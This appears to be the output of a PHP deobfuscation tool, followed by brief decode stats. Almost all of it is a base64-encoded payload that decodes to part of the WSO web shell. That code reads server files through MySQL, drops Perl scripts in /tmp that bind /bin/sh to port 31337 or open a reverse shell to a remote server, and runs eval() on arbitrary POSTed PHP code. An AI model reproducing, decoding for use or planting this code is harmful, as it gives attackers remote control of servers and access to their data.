ICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7IA0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7IA0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7IA0KICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7IA0KICAgICAgICAgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsgDQogICAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOyANCiAgICBlY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiANCiAgDQogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPiANCiAgICA8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4gDQogICAgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPiANCiAgICA8L2Zvcm0+IA0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4gDQogICAgPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJyLz4gDQogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+IA0KICANCiAgICA8L2Zvcm0+PGJyPiI7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7IA0KICAgICAgICAgICAgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOyANCiAgICAgICAgICAgIGlmKCR3KXsgDQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsgDQogICAgICAgICAgICAkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsgDQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOyANCiAgICAgICAgICAgICRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7IA0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCmZ1bmN0aW9uIGFjdGlvblJDKCkgeyANCiAgICBpZighQCRfUE9TVFsncDEnXSkgeyANCiAgICAgICAgJGEgPSBhcnJheSggDQogICAgICAgICAgICAidW5hbWUiID0+IHBocF91bmFtZSgpLCANCiAgICAgICAgICAgICJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLCANCiAgICAgICAgICAgICJ3c29fdmVyc2lvbiIgPT4gV1NPX1ZFUlNJT04sIA0KICAgICAgICAgICAgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykgDQogICAgICAgICk7IA0KICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkYSk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgIH0gDQp9IA0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApIA0KICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkgDQogICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOyANCiAgICBlbHNlDQogICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOyANCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApIA0KICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOyANCmZ1bmN0aW9uIEZldGNoVVJMKCR1cmwpIHsgDQogICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiJGNoZWFkZXIiKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAzMCk7IA0KICAgICAgICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsgDQogICAgICAgICBpZighJGRhdGEpIHsgDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICAgfSANCiAgICAgICAgIHJldHVybiAkZGF0YTsgDQogICAgICB9IA0KZXhpdDsgDQo/Pg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5e1dec897cc9471773e80db70519c4d3
Eval Count 1
Decode Time 194 ms